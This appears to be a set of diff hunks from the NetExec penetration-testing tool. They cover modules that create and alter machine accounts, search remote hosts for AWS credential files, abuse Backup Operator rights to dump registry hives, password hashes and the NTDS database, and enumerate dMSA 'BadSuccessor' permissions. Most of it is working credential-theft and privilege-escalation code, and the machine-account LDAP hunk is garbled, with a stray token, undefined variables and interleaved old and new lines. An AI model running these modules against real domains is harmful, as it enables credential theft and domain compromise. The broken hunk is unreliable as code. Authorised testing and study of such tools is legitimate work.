new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, new_handle, req)
|
||||
return new_handle
|
||||
|
||||
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
|
||||
else:
|
||||
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
try:
|
||||
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
action = "delete" if self.delete else "change password for"
|
||||
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
|
||||
else:
|
||||
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
def _samr_create(self, dce, domain_handle, username):
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
return None
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_NONE_MAPPED" not in str(e):
|
||||
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
try:
|
||||
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
|
||||
request = samr.SamrCreateUser2InDomain()
|
||||
request["DomainHandle"] = domain_handle
|
||||
request["Name"] = self.computer_name
|
||||
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return dce.request(request)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_USER_EXISTS" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
elif "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"{username} does not have the right to create a computer account")
|
||||
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
|
||||
self.context.log.fail(f"{username} exceeded the machine account quota")
|
||||
else:
|
||||
self.context.log.fail(f"Error creating computer: {e}")
|
||||
return None
|
||||
|
||||
def _do_ldap(self):
|
||||
name = self.computer_name.rstrip("$")
|
||||
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
|
||||
|
||||
if self.delete:
|
||||
self._ldap_delete(self.connection.ldap_connection, computer_dn)
|
||||
elif self.change_pw:
|
||||
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
|
||||
else:
|
||||
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
|
||||
|
||||
def _ldap_delete(self, ldap_conn, dn):
|
||||
try:
|
||||
ldap_conn.delete(dn)
|
||||
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
|
||||
self._db_remove_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "noSuchObject" in str(e):
|
||||
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
|
||||
else:
|
||||
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
|
||||
|
||||
def _ldap_change_password(self, ldap_conn, dn):
|
||||
try:
|
||||
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
|
||||
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
|
||||
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
|
||||
self._db_add_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "noSuchObject" in str(e):
|
||||
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
|
||||
elif "unwillingToPerform" in str(e):
|
||||
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
|
||||
else:
|
||||
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
|
||||
|
||||
def _ldap_add(self, ldap_conn, dn, name):
|
||||
fqdn = f"{name}.{self.connection.domain}"
|
||||
spns = [
|
||||
f"HOST/{name}",
|
||||
f"HOST/{fqdn}",
|
||||
f"RestrictedKrbHost/{name}",
|
||||
f"RestrictedKrbHost/{fqdn}",
|
||||
]
|
||||
|
||||
try:
|
||||
ldap_conn.add(
|
||||
dn,
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
ucd
|
||||
{
|
||||
"dnsHostName": fqdn,
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": self.computer_name,
|
||||
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
|
||||
},
|
||||
)
|
||||
if result:
|
||||
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
|
||||
context.log.highlight("You can try to verify this with the nxc command:")
|
||||
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
|
||||
elif not result:
|
||||
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
|
||||
self._db_add_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "entryAlreadyExists" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
|
||||
elif "unwillingToPerform" in str(e):
|
||||
self.context.log.fail("Server unwilling to perform")
|
||||
elif "constraintViolation" in str(e):
|
||||
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
|
||||
@@ -0,0 +1,50 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Search for aws credentials files on linux and windows machines
|
||||
|
||||
Module by Fortress
|
||||
"""
|
||||
|
||||
name = "aws-credentials"
|
||||
description = "Search for aws credentials files."
|
||||
supported_protocols = ["ssh", "smb", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self):
|
||||
self.search_path_linux = "'/home/' '/tmp/'"
|
||||
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
|
||||
Default: "'/home/' '/tmp/'"
|
||||
|
||||
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
|
||||
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
|
||||
"""
|
||||
if "SEARCH_PATH_LINUX" in module_options:
|
||||
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
|
||||
|
||||
if "SEARCH_PATH_WIN" in module_options:
|
||||
self.search_path_win = module_options["SEARCH_PATH_WIN"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# search for aws_credentials-related files on linux systems
|
||||
if "ssh" in context.protocol:
|
||||
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
|
||||
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
|
||||
output = connection.execute(search_aws_creds_files_cmd)
|
||||
else:
|
||||
# search for aws_credentials-related files on windows systems
|
||||
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
|
||||
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
|
||||
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
|
||||
output = connection.execute(search_aws_creds_files_cmd_win, True)
|
||||
|
||||
if output:
|
||||
context.log.success("The following files were found:")
|
||||
for line in output.splitlines():
|
||||
context.log.highlight(line.rstrip())
|
||||
+134
-72
@@ -1,50 +1,45 @@
|
||||
import time
|
||||
import os
|
||||
import datetime
|
||||
import contextlib
|
||||
import re
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from nxc.helpers.misc import CATEGORY, gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
class NXCModule:
|
||||
name = "backup_operator"
|
||||
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
self.local_admin = None
|
||||
self.local_admin_hash = None
|
||||
self.machine_account = None
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
self.trigger_winreg(connection.conn, context)
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
connection.trigger_winreg()
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
@@ -54,85 +49,152 @@ class NXCModule:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(str(e))
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
dce.disconnect()
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
|
||||
log_path = f"{connection.output_filename}."
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
if not self.local_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
if len(fields) >= 4:
|
||||
self.local_admin = fields[0]
|
||||
self.local_admin_hash = fields[3]
|
||||
|
||||
def parse_lsa(secret_type, secret):
|
||||
context.log.highlight(secret)
|
||||
if self.machine_account:
|
||||
return
|
||||
for line in secret.splitlines():
|
||||
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
|
||||
if match:
|
||||
self.machine_account_hash = match.group(1)
|
||||
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
|
||||
# "$MACHINE.ACC" has no real name -> derive it from the connection.
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
dump_creds = None
|
||||
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
|
||||
if self._try_dump_ntds(connection, context, username, user_hash):
|
||||
dump_creds = (username, user_hash)
|
||||
break
|
||||
|
||||
if dump_creds:
|
||||
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
|
||||
if not self.cleanup_user or not self.cleanup_hash:
|
||||
self.cleanup_user, self.cleanup_hash = dump_creds
|
||||
|
||||
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
|
||||
else:
|
||||
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def _try_dump_ntds(self, connection, context, username, user_hash):
|
||||
if not username or not user_hash:
|
||||
return False
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
try:
|
||||
context.log.display(f"Dumping NTDS using {username}...")
|
||||
connection.ntds()
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
|
||||
return False
|
||||
|
||||
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
|
||||
if not username or not user_hash:
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
return
|
||||
context.log.display(f"Using {username} to clean up files...")
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
connection.conn.deleteFile("SYSVOL", remote_name)
|
||||
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
|
||||
except SessionError as e:
|
||||
if "STATUS_NO_SUCH_FILE" in str(e):
|
||||
context.log.debug(f"File {remote_name} already removed or not found.")
|
||||
continue
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
|
||||
try:
|
||||
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
continue
|
||||
except Exception as exec_err:
|
||||
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
|
||||
all_deleted = False
|
||||
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
if all_deleted:
|
||||
double_check = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
if connection.conn.listPath("SYSVOL", remote_name):
|
||||
double_check = False
|
||||
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
except SessionError:
|
||||
pass
|
||||
if double_check:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
return
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def trigger_winreg(self, connection, context):
|
||||
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
|
||||
# Basically triggers the RemoteRegistry to start without admin privs
|
||||
tid = connection.connectTree("IPC$")
|
||||
def _extract_da_hash(self, output_filename, context):
|
||||
try:
|
||||
connection.openFile(
|
||||
tid,
|
||||
r"\winreg",
|
||||
0x12019F,
|
||||
creationOption=0x40,
|
||||
fileAttributes=0x80,
|
||||
)
|
||||
except SessionError as e:
|
||||
# STATUS_PIPE_NOT_AVAILABLE error is expected
|
||||
context.log.debug(str(e))
|
||||
# Give remote registry time to start
|
||||
time.sleep(1)
|
||||
with open(f"{output_filename}.ntds") as f:
|
||||
fallback = None
|
||||
for line in f:
|
||||
fields = line.strip().split(":")
|
||||
if len(fields) < 4 or not fields[3]:
|
||||
continue
|
||||
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
|
||||
if fields[1] == "500":
|
||||
return da_user, fields[3]
|
||||
if fallback is None:
|
||||
fallback = (da_user, fields[3])
|
||||
if fallback:
|
||||
return fallback
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
from impacket.ldap import ldaptypes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
|
||||
RELEVANT_OBJECT_TYPES = {
|
||||
"00000000-0000-0000-0000-000000000000": "All Objects",
|
||||
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
|
||||
}
|
||||
|
||||
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
|
||||
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
|
||||
|
||||
# Define all access rights
|
||||
ACCESS_RIGHTS = {
|
||||
# Generic Rights
|
||||
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
|
||||
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
|
||||
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
|
||||
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
|
||||
|
||||
# Maximum Allowed access type
|
||||
"MaximumAllowed": 0x02000000,
|
||||
|
||||
# Access System Acl access type
|
||||
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
|
||||
|
||||
# Standard access types
|
||||
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
|
||||
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
|
||||
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
|
||||
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
|
||||
"Delete": 0x00010000, # ADS_RIGHT_DELETE
|
||||
|
||||
# Specific rights
|
||||
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
|
||||
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
|
||||
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
|
||||
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
|
||||
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
|
||||
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
|
||||
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
|
||||
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
|
||||
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
|
||||
}
|
||||
|
||||
# Define which rights are considered relevant for potential abuse
|
||||
RELEVANT_RIGHTS = {
|
||||
"GenericAll": ACCESS_RIGHTS["GenericAll"],
|
||||
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
|
||||
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
|
||||
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
|
||||
"CreateChild": ACCESS_RIGHTS["CreateChild"],
|
||||
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
|
||||
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
|
||||
}
|
||||
|
||||
FUNCTIONAL_LEVELS = {
|
||||
"Windows 2000": 0,
|
||||
"Windows Server 2003": 1,
|
||||
"Windows Server 2003 R2": 2,
|
||||
"Windows Server 2008": 3,
|
||||
"Windows Server 2008 R2": 4,
|
||||
"Windows Server 2012": 5,
|
||||
"Windows Server 2012 R2": 6,
|
||||
"Windows Server 2016": 7,
|
||||
"Windows Server 2019": 8,
|
||||
"Windows Server 2022": 9,
|
||||
"Windows Server 2025": 10,
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @mpgn based on https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory#credentials
|
||||
and https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1
|
||||
"""
|
||||
|
||||
name = "badsuccessor"
|
||||
description = "Check if vulnerable to bad successor attack (DMSA)"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def is_excluded_sid(self, sid, domain_sid):
|
||||
if sid in EXCLUDED_SIDS:
|
||||
return True
|
||||
return any(sid.startswith(domain_sid) and sid.endswith(suffix) for suffix in EXCLUDED_SIDS_SUFFIXES)
|
||||
|
||||
def get_domain_sid(self):
|
||||
"""Retrieve the domain SID from the domain object in LDAP"""
|
||||
r = self.connection.search(
|
||||
searchFilter="(objectClass=domain)",
|
||||
attributes=["objectSid"]
|
||||
)
|
||||
parsed = parse_result_attributes(r)
|
||||
if parsed and "objectSid" in parsed[0]:
|
||||
return parsed[0]["objectSid"]
|
||||
|
||||
def find_bad_successor_ous(self, entries):
|
||||
domain_sid = self.get_domain_sid()
|
||||
results = {}
|
||||
parsed = parse_result_attributes(entries)
|
||||
for entry in parsed:
|
||||
dn = entry["distinguishedName"]
|
||||
sd_data = entry["nTSecurityDescriptor"]
|
||||
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=sd_data)
|
||||
|
||||
for ace in sd["Dacl"]["Data"]:
|
||||
if ace["AceType"] != ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:
|
||||
continue
|
||||
|
||||
has_relevant_right = False
|
||||
mask = int(ace["Ace"]["Mask"]["Mask"])
|
||||
for right_value in RELEVANT_RIGHTS.values():
|
||||
if mask & right_value:
|
||||
has_relevant_right = True
|
||||
break
|
||||
|
||||
if not has_relevant_right:
|
||||
continue # Skip this ACE if it doesn't have any relevant rights
|
||||
|
||||
object_type = getattr(ace, "ObjectType", None)
|
||||
if object_type:
|
||||
object_guid = ldaptypes.bin_to_string(object_type).lower()
|
||||
if object_guid not in RELEVANT_OBJECT_TYPES:
|
||||
continue
|
||||
|
||||
sid = ace["Ace"]["Sid"].formatCanonical()
|
||||
if self.is_excluded_sid(sid, domain_sid):
|
||||
continue
|
||||
|
||||
results.setdefault(sid, []).append(dn)
|
||||
|
||||
if hasattr(sd, "OwnerSid"):
|
||||
owner_sid = str(sd["OwnerSid"])
|
||||
if not self.is_excluded_sid(owner_sid, domain_sid):
|
||||
results.setdefault(owner_sid, []).append(dn)
|
||||
return results
|
||||
|
||||
def resolve_sid_to_name(self, sid):
|
||||
"""
|
||||
Resolves a SID to a samAccountName using LDAP
|
||||
|
||||
Args:
|
||||
----
|
||||
sid: The SID to resolve
|
||||
|
||||
Returns:
|
||||
-------
|
||||
str: The samAccountName if found, otherwise the original SID
|
||||
"""
|
||||
try:
|
||||
search_filter = f"(objectSid={sid})"
|
||||
response = self.connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=["sAMAccountName"]
|
||||
)
|
||||
|
||||
parsed = parse_result_attributes(response)
|
||||
if parsed and "sAMAccountName" in parsed[0]:
|
||||
return parsed[0]["sAMAccountName"]
|
||||
return sid
|
||||
except Exception:
|
||||
return sid
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.connection = connection
|
||||
|
||||
# Check for a domain controller with Windows Server 2025
|
||||
resp = self.connection.search(
|
||||
searchFilter="(&(objectCategory=computer)(primaryGroupId=516))",
|
||||
attributes=["operatingSystem", "dNSHostName"]
|
||||
)
|
||||
parsed_resp = parse_result_attributes(resp)
|
||||
|
||||
for dc in parsed_resp:
|
||||
if "2025" in dc["operatingSystem"]:
|
||||
out = connection.resolver(dc["dNSHostName"])
|
||||
dc_ip = out["host"] if out else "Unknown IP"
|
||||
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
|
||||
else:
|
||||
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")
|
||||
|
||||
# Enumerate dMSA objects
|
||||
controls = security_descriptor_control(sdflags=0x07) # OWNER_SECURITY_INFORMATION
|
||||
resp = self.connection.search(
|
||||
searchFilter="(objectClass=organizationalUnit)",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=controls
|
||||
)
|
||||
|
||||
